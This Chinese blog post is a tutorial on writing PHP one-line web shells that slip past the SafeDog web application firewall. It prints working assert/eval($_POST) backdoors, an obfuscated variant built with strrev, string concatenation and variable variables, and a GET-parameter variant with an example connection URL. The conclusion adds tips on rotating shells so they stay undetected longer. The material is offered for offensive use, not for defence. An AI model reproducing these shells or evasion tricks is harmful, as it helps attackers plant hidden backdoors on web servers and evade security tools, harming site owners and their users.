渗透测试之打狗棍法

日期: 栏目:跨境 浏览:1449 评论:0

前言

昨晚研究了一下PHP一句话过狗,就是那些思路,于是写了这篇打狗棍法。

如果有什么不妥不正确的地方,我就他妈不改。重复造个轮子大牛勿喷。

正文

下边这个就是我们常用的一句话,我们尽量用assert不要用eval,因为eval有些年头了,关于他的正则比较健全了。

<?php @assert($_POST[BLOODY]); ?>
<?php @eval($_POST[BLOODY]); ?>

本文就以这两个一句话为原型,进行拓展来过安全狗。下面就是几种造轮子思路:

字符串拼接、字符串颠倒、变量覆盖、变量函数、变量引用、变量引用、函数定义、类自定义、函数回调、位运算符

安全狗智商因为这几种思路提升了不少,这么多方式基本都已经过不了狗了,但是几个思路搭配在一起,效果也是很猛的。

在这里我就不多解释这些基本的方法了,我直接贴出来我的过狗马然后在一点一点讲:

<?php
$name=array();
$name[0]=strrev(‘ass’);
$name[1]=’tr’.’e’;
$funcName=strrev($name[1].$name[0]);
$fucker=’funcName’;
@$$fucker($_POST[BLOODY]);
?>

现在来给大家讲讲上边这个过狗马的原理。其实这个原理很简单,无非就像上文所说的综合了几个思路。

首先定义一个数组$name(其实不用数组应该也可以达到同样的效果),然后给$name[0]赋值为strrev('ass'),而这个strrev()函数的作用就是将字符串倒过来,所以最后结果为ssa。后边$name[1]的值赋为'tr'.'e',这个不用解释大家懂。

然后就是下边$funcName的值了,又是strrev()函数,这里他会把$name[0]$name[1]两个变量的位置先颠倒过来,然后再颠倒字符串内容,经过一系列的骚操作咱们的assert()函数名已经拼接好了。然后就是PHP中的一个黑魔法的应用——$$fucker

大家可以看到$fucker的值为funcName,所以下边的$$fucker就会等价于$funcName。那么$funcName又指向什么呢?从代码中可以看到,变量$funcName的值为函数名assert。于是最后的结果就是@assert($_POST[BLOODY]);。当然,可以用同样的方法把assert改为eval,我没有测试过不过安全狗。这个马子的原理就是这样,没有什么特殊的技巧。原理还是挺简单的。

还有一种更为简单的过狗方式,定义一个函数名为bypass的函数,而其内容就是assert()函数,当然定义一个类出来也是可以过狗的。这种方式就简单清晰多了,不过说不定等哪天狗子开始学会查函数了,第一个死的就是这种马。说明咱狗子的智商还有待提高,不过D盾就够呛了。D盾好像第一个能过,不过D盾病毒库更新速度很快,很多刚能免杀的马子过几天就又不行了,所以也不保证你看到这篇文章的时候它还能过。当然还有一种小技巧也是比较简单的,通过URL获取函数名,然后再处理一下,就像下边这个示例一样:

<?php
@$func=$_GET[func];
$run=’func’;
@$$run($_POST[BLOODY]);
?>

当然,连接Shell的时候url后边就需要传一个?func=assert,再进行Post了。例如:http://nico.lolimoe.cn/doge.php?func=assert

结语

总之,过狗方式还有很多,本文只是众多方法的冰山一角。还有一些其他函数也应达到类似的效果,而不一定要用assert()或者eval()函数。换哪种奇葩淫计似的函数还是比较有用的,毕竟狗子用的正则不像对assert()或者eval()函数一样严格,甚至都没有针对它的防御措施。这就非常吃香了。还有一个让马子过狗时效变得较长的小技巧,不要总是用最强的过狗马,应该先试试老版本能过的,如果可以就不要用新的过狗马,这会大大降低其被发现的几率。


评论留言

我要留言

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。发布前请先查看评论规则:点我查看